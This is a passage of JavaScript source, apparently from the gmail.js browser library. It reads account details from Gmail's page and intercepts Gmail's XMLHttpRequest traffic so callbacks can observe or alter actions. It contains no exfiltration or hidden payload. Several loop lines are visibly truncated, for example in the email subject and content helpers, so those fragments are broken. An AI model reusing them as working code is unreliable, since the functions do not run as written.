in globals17) {\n // at least for the delegated inboxes, the index of the mla is not stable\n // it was observed to be somewhere between 22 and 24, but we should not depend on it\n data = globals17[i];\n\n if (data[0] === \"mla\") {\n for(j in data[1]) {\n users.push({\n name : data[1][j][4],\n email : data[1][j][0],\n index: data[1][j][3]\n });\n }\n\n return users;\n }\n }\n\n return users;\n };\n\n\n api.get.user_email = function() {\n return api.tracker.globals[10];\n };\n\n\n api.get.manager_email = function() {\n if (api.helper.get.is_delegated_inbox()) {\n return api.get.delegated_to_email();\n }\n\n return api.get.user_email();\n };\n\n\n api.get.delegated_to_email = function() {\n if (!api.helper.get.is_delegated_inbox()) {\n return null;\n }\n\n var i, account;\n var userIndexPrefix = \"/u/\";\n var pathname = window.location.pathname;\n var delegatedToUserIndex = parseInt(pathname.substring(pathname.indexOf(userIndexPrefix) + userIndexPrefix.length), 10);\n\n var loggedInAccounts = api.get.loggedin_accounts();\n if (loggedInAccounts && loggedInAccounts.length > 0) {\n for (i in loggedInAccounts) {\n account = loggedInAccounts[i];\n if (account.index === delegatedToUserIndex) {\n return account.email;\n }\n }\n }\n\n // as a last resort, we query the DOM of the upper right account selection menu\n return $(\".gb_rb[href$='\" + userIndexPrefix + delegatedToUserIndex + \"'] .gb_yb\").text().split(\" \")[0];\n };\n\n api.helper.get.is_locale = function(locale) {\n // A locale is a string that begins with 2 letters, either lowercase or uppercase\n // The \"lowercase\" check distinguishes locales from other 2-letter strings like \"US\"\n // (the user\"s location?).\n if (!locale || ((typeof locale) !== \"string\") || locale.length < 2) {\n return false;\n }\n\n var localePrefix = locale.slice(0, 2);\n return localePrefix.toLowerCase() === localePrefix ||\n localePrefix.toUpperCase() === localePrefix;\n };\n\n api.get.localization = function() {\n var globals = api.tracker.globals;\n\n // First candidate.\n var locale = globals[17] && globals[17][8] && globals[17][8][8];\n if (api.helper.get.is_locale(locale)) {\n return locale.toLowerCase();\n }\n\n // Second candidate.\n locale = globals[17] && globals[17][9] && globals[17][9][8];\n if (api.helper.get.is_locale(locale)) {\n return locale.toLowerCase();\n }\n\n return null;\n };\n\n\n api.check.is_thread = function() {\n var check_1 = $(\".nH .if\").children(\":eq(1)\").children().children(\":eq(1)\").children();\n var check_2 = api.get.email_ids();\n\n return check_1.length > 1 || check_2.length > 1;\n };\n\n\n api.dom.inbox_content = function() {\n return $(\"div[role=main]:first\");\n };\n\n\n api.check.is_preview_pane = function() {\n var dom = api.dom.inbox_content();\n var boxes = dom.find(\"[gh=tl]\");\n\n var previewPaneFound = false;\n boxes.each(function() {\n if($(this).hasClass(\"aia\")) {\n previewPaneFound = true;\n }\n });\n\n return previewPaneFound;\n };\n\n api.check.is_multiple_inbox = function() {\n var dom = api.dom.inboxes();\n return dom.length > 1;\n };\n\n\n api.check.is_horizontal_split = function() {\n var dom = api.dom.inbox_content();\n var box = dom.find(\"[gh=tl]\").find(\".nn\");\n\n return box.length === 0;\n };\n\n\n api.check.is_vertical_split = function() {\n return api.check.is_horizontal_split() === false;\n };\n\n\n api.check.is_tabbed_inbox = function() {\n return $(\".aKh\").length === 1;\n };\n\n\n api.check.is_right_side_chat = function() {\n var chat = $(\".ApVoH\");\n if(chat.length === 0) {\n return false;\n }\n\n return chat[0].getAttribute(\"aria-labelledby\") === \":wf\";\n };\n\n api.check.should_compose_fullscreen = function(){\n var bx_scfs = [];\n try {\n bx_scfs = api.tracker.globals[17][4][1][32];\n } catch(er) {\n bx_scfs = [\"bx_scfs\",\"false\"];\n }\n return (bx_scfs[1] === \"true\" ) ? true : false;\n };\n\n\n api.check.is_google_apps_user =function() {\n var email = api.get.user_email();\n return email.indexOf(\"gmail.com\", email.length - \"gmail.com\".length) === -1;\n };\n\n\n api.get.storage_info = function() {\n var div = $(\".md.mj\").find(\"div\")[0];\n var used = $(div).find(\"span\")[0].text;\n var total = $(div).find(\"span\")[1].text;\n var percent = parseFloat(used.replace(/[^0-9\\.]/g, \"\")) * 100 / parseFloat(total.replace(/[^0-9\\.]/g, \"\"));\n\n return {used : used, total : total, percent : Math.floor(percent)};\n };\n\n\n api.dom.inboxes = function() {\n var dom = api.dom.inbox_content();\n return dom.find(\"[gh=tl]\");\n };\n\n api.dom.email_subject = function () {\n var e = $(\".hP\");\n\n for(var i=0; i 0;\n };\n\n api.check.is_plain_text = function() {\n var settings = GLOBALS[17][4][1];\n\n for (var i = 0; i < settings.length; i++) {\n var plain_text_setting = settings[i];\n if (plain_text_setting[0] === \"bx_cm\") {\n return plain_text_setting[1] === \"0\";\n }\n }\n\n // default to rich text mode, which is more common nowadays\n return false;\n };\n\n api.dom.email_contents = function() {\n var items = $(\".ii.gt div.a3s.aXjCH\");\n var ids = [];\n\n for(var i=0; i 0 && items[i].offsetHeight > 0;\n if(mail_id !== \"undefined\" && mail_id !== undefined && is_visible) {\n if(is_editable !== \"true\") {\n text.push(mail_id);\n }\n }\n }\n\n hash = text[0].substring(1, text[0].length);\n } else {\n hash = window.location.hash.split(\"/\").pop().replace(/#/, \"\").split(\"?\")[0];\n }\n }\n else {\n hash = api.tools.parse_url(window.location.href).th;\n }\n\n return hash;\n };\n\n\n api.check.is_priority_inbox = function() {\n return $(\".qh\").length > 0;\n };\n\n\n api.check.is_rapportive_installed = function() {\n return $(\"#rapportive-sidebar\").length === 1;\n };\n\n\n api.check.is_streak_installed = function() {\n return $(\"[id^='bentoBox'],[id*=' bentoBox'],[class*=' bentoBox'],[class*='bentoBox']\").length > 0;\n };\n\n\n api.check.is_anydo_installed = function() {\n return $(\"[id^='anydo'],[id*=' anydo'],[class*=' anydo'],[class*='anydo']\").length > 0;\n };\n\n\n api.check.is_boomerang_installed = function() {\n return $(\"[id^='b4g_'],[id*=' b4g_'],[class*=' b4g_'],[class*='b4g_']\").length > 0;\n };\n\n\n api.check.is_xobni_installed = function() {\n return $(\"#xobni_frame\").length > 0;\n };\n\n\n api.check.is_signal_installed = function() {\n return $(\"[id^='Signal'],[id*=' Signal'],[class*=' signal'],[class*='signal']\").length > 0;\n };\n\n\n api.check.are_shortcuts_enabled = function() {\n var flag_name = \"bx_hs\";\n var flag_value = undefined;\n\n var check = true; // Flag possibly missing in convo view.\n\n var array_with_flag = api.tracker.globals[17][4][1];\n\n for(var i=0; i 0) {\n if(dom[0].text.indexOf(\"(\") !== -1) {\n return parseInt(dom[0].text.split(\":\")[0].replace(/[^0-9]/g, \"\"));\n }\n }\n\n return 0;\n };\n\n\n api.get.unread_draft_emails = function() {\n var dom = $(\"div[role=navigation]\").find(\"[title*='\" + api.tools.i18n(\"drafts\") + \"']\");\n\n if(dom.length > 0) {\n if(dom[0].text.indexOf(\"(\") !== -1) {\n return parseInt(dom[0].text.replace(/[^0-9]/g, \"\"));\n }\n }\n\n return 0;\n };\n\n\n api.get.unread_spam_emails = function() {\n var dom = $(\"div[role=navigation]\").find(\"[title*='\" + api.tools.i18n(\"spam\") + \"']\");\n\n if(dom.length > 0) {\n if(dom[0].text.indexOf(\"(\") !== -1) {\n return parseInt(dom[0].text.replace(/[^0-9]/g, \"\"));\n }\n }\n\n return 0;\n };\n\n\n api.get.unread_forum_emails = function() {\n var dom = $(\"div[role=navigation]\").find(\"[title*='\" + api.tools.i18n(\"forums\") + \"']\");\n\n if(dom.length > 0) {\n if(dom[0].text.indexOf(\"(\") !== -1) {\n return parseInt(dom[0].text.replace(/[^0-9]/g, \"\"));\n }\n }\n\n return 0;\n };\n\n\n api.get.unread_update_emails = function() {\n var dom = $(\"div[role=navigation]\").find(\"[title*='\" + api.tools.i18n(\"updates\") + \"']\");\n\n if(dom.length > 0) {\n if(dom[0].text.indexOf(\"(\") !== -1) {\n return parseInt(dom[0].text.replace(/[^0-9]/g, \"\"));\n }\n }\n\n return 0;\n };\n\n\n api.get.unread_promotion_emails = function() {\n var dom = $(\"div[role=navigation]\").find(\"[title*='\" + api.tools.i18n(\"promotions\") + \"']\");\n\n if(dom.length > 0) {\n if(dom[0].text.indexOf(\"(\") !== -1) {\n return parseInt(dom[0].text.replace(/[^0-9]/g, \"\"));\n }\n }\n\n return 0;\n };\n\n\n api.get.unread_social_emails = function() {\n var dom = $(\"div[role=navigation]\").find(\"[title*='\" + api.tools.i18n(\"social_updates\") + \"']\");\n\n if(dom.length > 0) {\n if(dom[0].text.indexOf(\"(\") !== -1) {\n return parseInt(dom[0].text.replace(/[^0-9]/g, \"\"));\n }\n }\n\n return 0;\n };\n\n\n api.get.beta = function() {\n var features = {\n \"new_nav_bar\" : $(\"#gbz\").length === 0\n };\n\n return features;\n };\n\n\n api.get.unread_emails = function() {\n return {\n inbox : api.get.unread_inbox_emails(),\n drafts : api.get.unread_draft_emails(),\n spam : api.get.unread_spam_emails(),\n forum : api.get.unread_forum_emails(),\n update : api.get.unread_update_emails(),\n promotions : api.get.unread_promotion_emails(),\n social : api.get.unread_social_emails()\n };\n };\n\n\n api.tools.error = function(str) {\n if (console) {\n console.error(str);\n } else {\n throw(str);\n }\n };\n\n api.tools.parse_url = function(url) {\n var regex = /[?&]([^=#]+)=([^]*)/g;\n var params = {};\n var match = regex.exec(url);\n\n while (match) {\n params[match[1]] = match[2];\n match = regex.exec(url);\n }\n\n return params;\n };\n\n api.tools.sleep = function(milliseconds) {\n var start = new Date().getTime();\n while(true) {\n if ((new Date().getTime() - start) > milliseconds){\n break;\n }\n }\n };\n\n\n api.tools.multitry = function(delay, tries, func, check, counter, retval) {\n if(counter !== undefined && counter >= tries) {\n return retval;\n }\n\n counter = (counter === undefined) ? 0 : counter;\n\n var value = func();\n\n if(check(value)) {\n return value;\n } else {\n api.tools.sleep(delay);\n api.tools.multitry(delay, tries, func, check, counter+1, value);\n }\n };\n\n\n api.tools.deparam = function (params, coerce) {\n\n var each = function (arr, fnc) {\n var data = [];\n for (var i = 0; i < arr.length; i++) {\n data.push(fnc(arr[i]));\n }\n return data;\n };\n\n var isArray = Array.isArray || function(obj) {\n return Object.prototype.toString.call(obj) === \"[object Array]\";\n };\n\n var obj = {},\n coerce_types = {\n \"true\": !0,\n \"false\": !1,\n \"null\": null\n };\n each(params.replace(/\\+/g, \" \").split(\"&\"), function (v, j) {\n var param = v.split(\"=\"),\n key = decodeURIComponent(param[0]),\n val,\n cur = obj,\n i = 0,\n keys = key.split(\"][\"),\n keys_last = keys.length - 1;\n if (/\\[/.test(keys[0]) && /\\]$/.test(keys[keys_last])) {\n keys[keys_last] = keys[keys_last].replace(/\\]$/, \"\");\n keys = keys.shift().split(\"[\").concat(keys);\n keys_last = keys.length - 1;\n } else {\n keys_last = 0;\n }\n if (param.length === 2) {\n val = decodeURIComponent(param[1]);\n if (coerce) {\n val = val && !isNaN(val) ? +val : val === \"undefined\" ? undefined : coerce_types[val] !== undefined ? coerce_types[val] : val;\n }\n if (keys_last) {\n for (; i <= keys_last; i++) {\n key = keys[i] === \"\" ? cur.length : keys[i];\n cur = cur[key] = i < keys_last ? cur[key] || (keys[i + 1] && isNaN(keys[i + 1]) ? {} : []) : val;\n }\n } else {\n if (isArray(obj[key])) {\n obj[key].push(val);\n } else if (obj[key] !== undefined) {\n obj[key] = [obj[key], val];\n } else {\n obj[key] = val;\n }\n }\n } else if (key) {\n obj[key] = coerce ? undefined : \"\";\n }\n });\n return obj;\n };\n\n api.tools.parse_actions = function(params, xhr) {\n\n // upload_attachment event - if found, don\"t check other observers. See issue #22\n if(params.url.act === \"fup\" || params.url.act === \"fuv\" || params.body_is_object) {\n return params.body_is_object && api.observe.bound(\"upload_attachment\") ? { upload_attachment: [ params.body_params ] } : false; // trigger attachment event\n }\n\n if(params.url.search !== undefined) {\n // console.log(params.url, params.body, params.url_raw);\n }\n\n var triggered = {}; // store an object of event_name: [response_args] for events triggered by parsing the actions\n var action_map = {\n \"tae\" : \"add_to_tasks\",\n \"rc_^i\" : \"archive\",\n \"tr\" : \"delete\",\n \"dm\" : \"delete_message_in_thread\",\n \"dl\" : \"delete_forever\",\n \"dc_\" : \"delete_label\",\n \"dr\" : \"discard_draft\",\n \"el\" : \"expand_categories\",\n \"cffm\" : \"filter_messages_like_these\",\n \"arl\" : \"label\",\n \"mai\" : \"mark_as_important\",\n \"mani\" : \"mark_as_not_important\",\n \"us\" : \"mark_as_not_spam\",\n \"sp\" : \"mark_as_spam\",\n \"mt\" : \"move_label\",\n \"ib\" : \"move_to_inbox\",\n \"ig\" : \"mute\",\n \"rd\" : \"read\",\n \"sd\" : \"save_draft\",\n \"sm\" : \"send_message\",\n \"mo\" : \"show_newly_arrived_message\",\n \"st\" : \"star\",\n \"cs\" : \"undo_send\",\n \"ug\" : \"unmute\",\n \"ur\" : \"unread\",\n \"xst\" : \"unstar\",\n \"new_mail\" : \"new_email\",\n \"poll\" : \"poll\",\n \"refresh\" : \"refresh\",\n \"rtr\" : \"restore_message_in_thread\",\n \"open_email\" : \"open_email\",\n \"toggle_threads\" : \"toggle_threads\"\n };\n\n if(typeof params.url.ik === \"string\") {\n api.tracker.ik = params.url.ik;\n }\n\n if(typeof params.url.at === \"string\") {\n api.tracker.at = params.url.at;\n }\n\n if(typeof params.url.rid === \"string\") {\n if(params.url.rid.indexOf(\"mail\") !== -1) {\n api.tracker.rid = params.url.rid;\n }\n }\n\n var action = decodeURIComponent(params.url.act);\n var sent_params = params.body_params;\n var email_ids = (typeof sent_params.t === \"string\") ? [sent_params.t] : sent_params.t;\n var response = null;\n\n switch(action) {\n case \"cs\":\n case \"ur\":\n case \"rd\":\n case \"tr\":\n case \"sp\":\n case \"us\":\n case \"ib\":\n case \"dl\":\n case \"st\":\n case \"xst\":\n case \"mai\":\n case \"mani\":\n case \"ig\":\n case \"ug\":\n case \"dr\":\n case \"mt\":\n case \"cffm\":\n case \"rc_^i\":\n response = [email_ids, params.url, params.body];\n break;\n\n case \"arl\":\n response = [email_ids, params.url, params.body, params.url.acn];\n break;\n\n case \"sd\":\n response = [email_ids, params.url, sent_params];\n break;\n\n case \"tae\":\n case \"sm\":\n response = [params.url, params.body, sent_params];\n break;\n\n case \"el\":\n response = [params.url, params.body, sent_params.ex === \"1\"];\n break;\n\n case \"dm\":\n case \"rtr\":\n case \"mo\":\n response = [sent_params.m, params.url, params.body];\n break;\n\n }\n\n if(typeof params.url._reqid === \"string\" && params.url.view === \"tl\" && params.url.auto !== undefined) {\n response = [params.url.th, params.url, params.body];\n if(api.observe.bound(\"new_email\")) {\n triggered.new_email = response;\n }\n }\n\n if((params.url.view === \"cv\" || params.url.view === \"ad\") && typeof params.url.th === \"string\" && typeof params.url.search === \"string\" && params.url.rid === undefined) {\n response = [params.url.th, params.url, params.body];\n if(api.observe.bound(\"open_email\")) {\n triggered.open_email = response;\n }\n }\n\n if((params.url.view === \"cv\" || params.url.view === \"ad\") && typeof params.url.th === \"object\" && typeof params.url.search === \"string\" && params.url.rid !== undefined) {\n response = [params.url.th, params.url, params.body];\n if(api.observe.bound(\"toggle_threads\")) {\n triggered.toggle_threads = response;\n }\n }\n\n if((params.url.view === \"cv\" || params.url.view === \"ad\") && typeof params.url.th === \"string\" && typeof params.url.search === \"string\" && params.url.rid !== undefined) {\n if(params.url.msgs !== undefined) {\n response = [params.url.th, params.url, params.body];\n if(api.observe.bound(\"toggle_threads\")) {\n triggered.toggle_threads = response;\n }\n }\n }\n\n if(typeof params.url.SID === \"string\" && typeof params.url.zx === \"string\" && params.body.indexOf(\"req0_\") !== -1) {\n api.tracker.SID = params.url.SID;\n response = [params.url, params.body, sent_params];\n if(api.observe.bound(\"poll\")) {\n triggered.poll = response;\n }\n }\n\n if(typeof params.url.ik === \"string\" && typeof params.url.search === \"string\" && params.body.length === 0 && typeof params.url._reqid === \"string\") {\n response = [params.url, params.body, sent_params];\n if(api.observe.bound(\"refresh\")) {\n triggered.refresh = response;\n }\n }\n\n if(response && action_map[action] && api.observe.bound(action_map[action])) {\n triggered[action_map[action]] = response;\n }\n\n if(params.method === \"POST\" && (typeof params.url.SID === \"string\"\n || typeof params.url.ik === \"string\"\n || typeof params.url.act === \"string\")) {\n triggered.http_event = [params]; // send every event and all data\n }\n\n return triggered;\n };\n\n api.tools.parse_response = function(response) {\n var parsedResponse = [],\n data, dataLength, endIndex, realData;\n\n try {\n\n // gmail post response structure\n // )}]\"\\n\\n...\n\n // prepare response, remove eval protectors\n response = response.replace(/\\n/g, \" \");\n response = response.substring(response.indexOf(\"'\") + 1, response.length);\n\n while(response.replace(/\\s/g, \"\").length > 1) {\n\n // how long is the data to get\n dataLength = response.substring(0, response.indexOf(\"[\")).replace(/\\s/g, \"\");\n if (!dataLength) {dataLength = response.length;}\n\n endIndex = (parseInt(dataLength, 10) - 2) + response.indexOf(\"[\");\n data = response.substring(response.indexOf(\"[\"), endIndex);\n\n var get_data = new Function(\"\\\"use strict\\\"; return \" + data);\n realData = get_data();\n\n parsedResponse.push(realData);\n\n // prepare response for next loop\n response = response.substring(response.indexOf(\"[\"), response.length);\n response = response.substring(data.length, response.length);\n }\n } catch (e) {\n console.log(\"Gmail post response parsing failed.\", e);\n }\n\n return parsedResponse;\n };\n\n /**\n parses a download_url attribute from the attachments main span-element.\n */\n api.tools.parse_attachment_url = function(url) {\n var parts = url.split(\":\");\n return {\n type: parts[0],\n name: parts[1],\n url: parts[2] + \":\" + parts[3]\n };\n };\n\n /**\n Node-friendly function to extend objects without depending on jQuery\n (which requires a browser-context)\n */\n var extend = function(target, extension) {\n for (var key in extension) {\n target[key] = extension[key];\n }\n };\n\n /**\n Node-friendly function to merge arrays without depending on jQuery\n (which requires a browser-context).\n\n All subsequent arrays are merged into the first one, to match\n $.merge's behaviour.\n */\n var merge = function(target, mergee) {\n\n for (var i=0; i < mergee.length; i++) {\n var value = mergee[i];\n target.push(value);\n }\n\n return target;\n };\n\n api.tools.parse_requests = function(params, xhr) {\n params.url_raw = params.url;\n params.url = api.tools.parse_url(params.url);\n if(typeof params.body === \"object\") {\n params.body_params = params.body;\n params.body_is_object = true;\n } else {\n params.body_params = api.tools.deparam(params.body);\n }\n\n if(typeof api.tracker.events !== \"object\" && typeof api.tracker.actions !== \"object\") {\n api.tracker.events = [];\n api.tracker.actions = [];\n }\n\n api.tracker.events.unshift(params);\n var events = api.tools.parse_actions(params, xhr);\n\n if(params.method === \"POST\" && typeof params.url.act === \"string\") {\n api.tracker.actions.unshift(params);\n }\n\n if(api.tracker.events.length > 50) {\n api.tracker.events.pop();\n }\n\n if(api.tracker.actions.length > 10) {\n api.tracker.actions.pop();\n }\n return events;\n };\n\n\n api.tools.xhr_watcher = function () {\n if (!api.tracker.xhr_init) {\n api.tracker.xhr_init = true;\n var js_frame = null;\n if (top.document.getElementById(\"js_frame\")){\n js_frame = top.document.getElementById(\"js_frame\");\n } else if (window.opener) {\n js_frame = window.opener.top.document.getElementById(\"js_frame\");\n }\n if (!js_frame){\n throw \"Cannot register the xhr watcher as mail.google.com is not fully loaded yet. Please wrap your code in `gmail.observe.on(\\\"load\\\")`\";\n }\n var win = js_frame.contentDocument.defaultView;\n\n if (!win.gjs_XMLHttpRequest_open) {\n win.gjs_XMLHttpRequest_open = win.XMLHttpRequest.prototype.open;\n }\n\n win.XMLHttpRequest.prototype.open = function (method, url, async, user, password) {\n var out = win.gjs_XMLHttpRequest_open.apply(this, arguments);\n this.xhrParams = {\n method: method.toString(),\n url: url.toString()\n };\n return out;\n };\n\n if (!win.gjs_XMLHttpRequest_send) {\n win.gjs_XMLHttpRequest_send = win.XMLHttpRequest.prototype.send;\n }\n\n win.XMLHttpRequest.prototype.send = function (body) {\n // parse the xhr request to determine if any events should be triggered\n var events = false;\n if (this.xhrParams) {\n this.xhrParams.body = body;\n events = api.tools.parse_requests(this.xhrParams, this);\n }\n\n // fire before events\n if(api.observe.trigger(\"before\", events, this)) {\n\n // if before events were fired, rebuild arguments[0]/body strings\n // TODO: recreate the url if we want to support manipulating url args (is there a use case where this would be needed?)\n body = arguments[0] = this.xhrParams.body_is_object ? this.xhrParams.body_params : $.param(this.xhrParams.body_params,true).replace(/\\+/g, \"%20\");\n }\n\n // if any matching after events, bind onreadystatechange callback\n if(api.observe.bound(events,\"after\")) {\n var curr_onreadystatechange = this.onreadystatechange;\n var xhr = this;\n this.onreadystatechange = function(progress) {\n if (this.readyState === this.DONE) {\n xhr.xhrResponse = api.tools.parse_response(progress.target.responseText);\n api.observe.trigger(\"after\", events, xhr);\n }\n if (curr_onreadystatechange) {\n curr_onreadystatechange.apply(this, arguments);\n }\n };\n }\n\n // send the original request\n var out = win.gjs_XMLHttpRequest_send.apply(this, arguments);\n\n // fire on events\n api.observe.trigger(\"on\", events, this);\n return out;\n };\n }\n };\n\n\n api.observe.http_requests = function() {\n return api.tracker.events;\n };\n\n\n api.observe.actions = function() {\n return api.tracker.actions;\n };\n\n /**\n Bind a specified callback to an array of callbacks against a specified type & action\n */\n api.observe.bind = function(type, action, callback) {\n\n // set up watchdog data structure\n if(typeof api.tracker.watchdog !== \"object\") {\n api.tracker.watchdog = {\n before: {},\n on: {},\n after: {},\n dom: {}\n };\n api.tracker.bound = {};\n }\n if(typeof api.tracker.watchdog[type] !== \"object\") {\n api.tools.error(\"api.observe.bind called with invalid type: \" + type);\n }\n\n // ensure we are watching xhr requests\n if(type !== \"dom\" && !api.tracker.xhr_init) {\n api.tools.xhr_watcher();\n }\n\n // add callback to an array in the watchdog\n if(typeof api.tracker.watchdog[type][action] !== \"object\") {\n api.tracker.watchdog[type][action] = [];\n }\n api.tracker.watchdog[type][action].push(callback);\n\n // allow checking for bound events to specific action/type as efficiently as possible (without in looping) - bit dirtier code,\n // but lookups (api.observer.bound) are executed by the hundreds & I think the extra efficiency is worth the tradeoff\n api.tracker.bound[action] = typeof api.tracker.bound[action] === \"undefined\" ? 1 : api.tracker.bound[action]+1;\n api.tracker.bound[type] = typeof api.tracker.bound[type] === \"undefined\" ? 1 : api.tracker.bound[type]+1;\n //api.tracker.watchdog[action] = callback;\n };\n\n /**\n an on event is observed just after gmail sends an xhr request\n */\n api.observe.on = function(action, callback, response_callback) {\n\n // check for DOM observer actions, and if none found, the assume an XHR observer\n if(api.observe.on_dom(action, callback)) return true;\n\n // bind xhr observers\n api.observe.bind(\"on\", action, callback);\n if (response_callback) {\n api.observe.after(action, callback);\n }\n };\n\n /**\n an before event is observed just prior to the gmail xhr request being sent\n before events have the ability to modify the xhr request before it is sent\n */\n api.observe.before = function(action, callback) {\n api.observe.bind(\"before\", action, callback);\n };\n\n /**\n an after event is observed when the gmail xhr request returns from the server\n with the server response\n */\n api.observe.after = function(action, callback) {\n api.observe.bind(\"after\", action, callback);\n };\n\n /**\n Checks if a specified action & type has anything bound to it\n If type is null, will check for this action bound on any type\n If action is null, will check for any actions bound to a type\n */\n api.observe.bound = function(action, type) {\n if (typeof api.tracker.watchdog !== \"object\") return false;\n if (action) {\n\n // if an object of actions (triggered events of format { event: [response] }) is passed, check if any of these are bound\n if(typeof action === \"object\") {\n var match = false;\n $.each(action,function(key,response){\n if(typeof api.tracker.watchdog[type][key] === \"object\") match = true;\n });\n return match;\n }\n if(type) return typeof api.tracker.watchdog[type][action] === \"object\";\n return api.tracker.bound[action] > 0;\n } else {\n if(type) return api.tracker.bound[type] > 0;\n api.tools.error(\"api.observe.bound called with invalid args\");\n }\n };\n\n /**\n Clear all callbacks for a specific type (before, on, after, dom) and action\n If action is null, all actions will be cleared\n If type is null, all types will be cleared\n */\n api.observe.off = function(action, type) {\n\n // if watchdog is not set, bind has not yet been called so nothing to turn off\n if(typeof api.tracker.watchdog !== \"object\") return true;\n\n // loop through applicable types\n var types = type ? [ type ] : [ \"before\", \"on\", \"after\", \"dom\" ];\n $.each(types, function(idx, type) {\n if(typeof api.tracker.watchdog[type] !== \"object\") return true; // no callbacks for this type\n\n // if action specified, remove any callbacks for this action, otherwise remove all callbacks for all actions\n if(action) {\n if(typeof api.tracker.watchdog[type][action] === \"object\") {\n api.tracker.bound[action] -= api.tracker.watchdog[type][action].length;\n api.tracker.bound[type] -= api.tracker.watchdog[type][action].length;\n delete api.tracker.watchdog[type][action];\n }\n } else {\n $.each(api.tracker.watchdog[type], function(act,callbacks) {\n if(typeof api.tracker.watchdog[type][act] === \"object\") {\n api.tracker.bound[act] -= api.tracker.watchdog[type][act].length;\n api.tracker.bound[type] -= api.tracker.watchdog[type][act].length;\n delete api.tracker.watchdog[type][act];\n }\n });\n }\n });\n };\n\n /**\n Trigger any specified events bound to the passed type\n Returns true or false depending if any events were fired\n */\n api.observe.trigger = function(type, events, xhr) {\n if(!events) return false;\n var fired = false;\n $.each(events, function(action,response) {\n\n // we have to do this here each time to keep backwards compatibility with old response_callback implementation\n response = $.extend([], response); // break the reference so it doesn\"t keep growing each trigger\n if(type === \"after\") response.push(xhr.xhrResponse); // backwards compat for after events requires we push onreadystatechange parsed response first\n response.push(xhr);\n if(api.observe.bound(action, type)) {\n fired = true;\n $.each(api.tracker.watchdog[type][action], function(idx, callback) {\n callback.apply(undefined, response);\n });\n }\n });\n return fired;\n };\n\n /**\n Trigger any specified DOM events passing a specified element & optional handler\n */\n api.observe.trigger_dom = function(observer, element, handler) {\n\n // if no defined handler, just call the callback\n if (!handler) {\n handler = function(match, callback) {\n callback(match);\n };\n }\n if (!api.tracker.watchdog.dom[observer]) {\n return;\n }\n $.each(api.tracker.watchdog.dom[observer], function(idx, callback) {\n handler(element, callback);\n });\n };\n\n // pre-configured DOM observers\n // map observers to DOM class names\n // as elements are inserted into the DOM, these classes will be checked for and mapped events triggered,\n // receiving \"e\" event object, and a jquery bound inserted DOM element\n // NOTE: supported observers and sub_observers must be registered in the supported_observers array as well as the dom_observers config\n // Config example: event_name: {\n // class: \"className\", // required - check for this className in the inserted DOM element\n // selector: \"div.className#myId\", // if you need to match more than just the className of a specific element to indicate a match, you can use this selector for further checking (uses element.is(selector) on matched element). E.g. if there are multiple elements with a class indicating an observer should fire, but you only want it to fire on a specific id, then you would use this\n // sub_selector: \"div.className\", // if specified, we do a jquery element.find for the passed selector on the inserted element and ensure we can find a match\n // handler: function( matchElement, callback ) {}, // if specified this handler is called if a match is found. Otherwise default calls the callback & passes the jQuery matchElement\n // sub_observers: { }, // hash of event_name: config_hash\"s - config hash supports all properties of this config hash. Observer will be bound as DOMNodeInserted to the matching class+sub_selector element.\n // },\n // TODO: current limitation allows only 1 action per watched className (i.e. each watched class must be\n // unique). If this functionality is needed this can be worked around by pushing actions to an array\n // in api.tracker.dom_observer_map below\n // console.log( \"Observer set for\", action, callback);\n api.observe.initialize_dom_observers = function() {\n api.tracker.dom_observer_init = true;\n api.tracker.supported_observers = [\"view_thread\", \"view_email\", \"load_email_menu\", \"recipient_change\", \"compose\"];\n api.tracker.dom_observers = {\n\n // when a thread is clicked on in a mailbox for viewing - note: this should fire at a similar time (directly after) as the open_email XHR observer\n // which is triggered by the XHR request rather than nodes being inserted into the DOM (and thus returns different information)\n \"view_thread\": {\n class: [\"Bu\", \"nH\"], // class depends if is_preview_pane - Bu for preview pane, nH for standard view\n sub_selector: \"div.if\",\n handler: function(match, callback) {\n match = new api.dom.thread(match);\n callback(match);\n\n // look for any email elements in this thread that are currently displaying\n // and fire off any view_email sub_observers for each of them\n var email = match.dom(\"opened_email\");\n if (email.length) {\n api.observe.trigger_dom(\"view_email\", email, api.tracker.dom_observers.view_thread.sub_observers.view_email.handler);\n }\n },\n sub_observers: {\n\n // when an individual email is loaded within a thread (also fires when thread loads displaying the latest email)\n \"view_email\": {\n class: \"\",\n sub_selector: \"div.adn\",\n handler: function(match, callback) {\n match = new api.dom.email(match);\n callback(match);\n }\n },\n\n // when the dropdown menu next to the reply button is inserted into the DOM when viewing an email\n \"load_email_menu\": {\n class: \"J-N\",\n selector: \"div[role=menu] div[role=menuitem]:first-child\", // use the first menu item in the popoup as the indicator to trigger this observer\n handler: function(match, callback) {\n match = match.closest(\"div[role=menu]\");\n callback(match);\n }\n }\n }\n },\n\n // a new email address is added to any of the to,cc,bcc fields when composing a new email or replying/forwarding\n \"recipient_change\": {\n class: \"vR\",\n handler: function(match, callback) {\n // console.log(\"compose:recipient handler called\",match,callback);\n\n // we need to small delay on the execution of the handler as when the recipients field initialises on a reply (or reinstated compose/draft)\n // then multiple DOM elements will be inserted for each recipient causing this handler to execute multiple times\n // in reality we only want a single callback, so give other nodes time to be inserted & then only execute the callback once\n if(typeof api.tracker.recipient_matches !== \"object\") {\n api.tracker.recipient_matches = [];\n }\n api.tracker.recipient_matches.push(match);\n setTimeout(function(){\n // console.log(\"recipient timeout handler\", api.tracker.recipient_matches.length);\n if(!api.tracker.recipient_matches.length) return;\n\n // determine an array of all emails specified for To, CC and BCC and extract addresses into an object for the callback\n var compose = new api.dom.compose(api.tracker.recipient_matches[0].closest(\"div.M9\"));\n var recipients = compose.recipients();\n callback(compose, recipients, api.tracker.recipient_matches);\n\n // reset matches so no future delayed instances of this function execute\n api.tracker.recipient_matches = [];\n },100);\n }\n },\n\n // this will fire if a new compose, reply or forward is created. it won\"t fire if a reply changes to a forward & vice versa\n // passes a type of compose, reply, or forward to the callback\n \"compose\": {\n class: \"An\", // M9 would be better but this isn\"t set at the point of insertion\n handler: function(match, callback) {\n // console.log(\"reply_forward handler called\", match, callback);\n\n var originalMatch = match;\n // look back up the DOM tree for M9 (the main reply/forward node)\n match = match.closest(\"div.M9\");\n if (!match.length) return;\n match = new api.dom.compose(match);\n var type;\n if (match.is_inline()) {\n type = match.find(\"input[name=subject]\").val().indexOf(\"Fw\") === 0 ? \"forward\" : \"reply\";\n } else {\n type = \"compose\";\n\n //Find the close button and set an event listener so we can forward the compose_cancelled event.\n var composeWindow = originalMatch.closest(\"div.AD\");\n composeWindow.find(\".Ha\").mouseup(function() {\n if(api.tracker.composeCancelledCallback) {\n api.tracker.composeCancelledCallback(match);\n }\n return true;\n });\n\n }\n 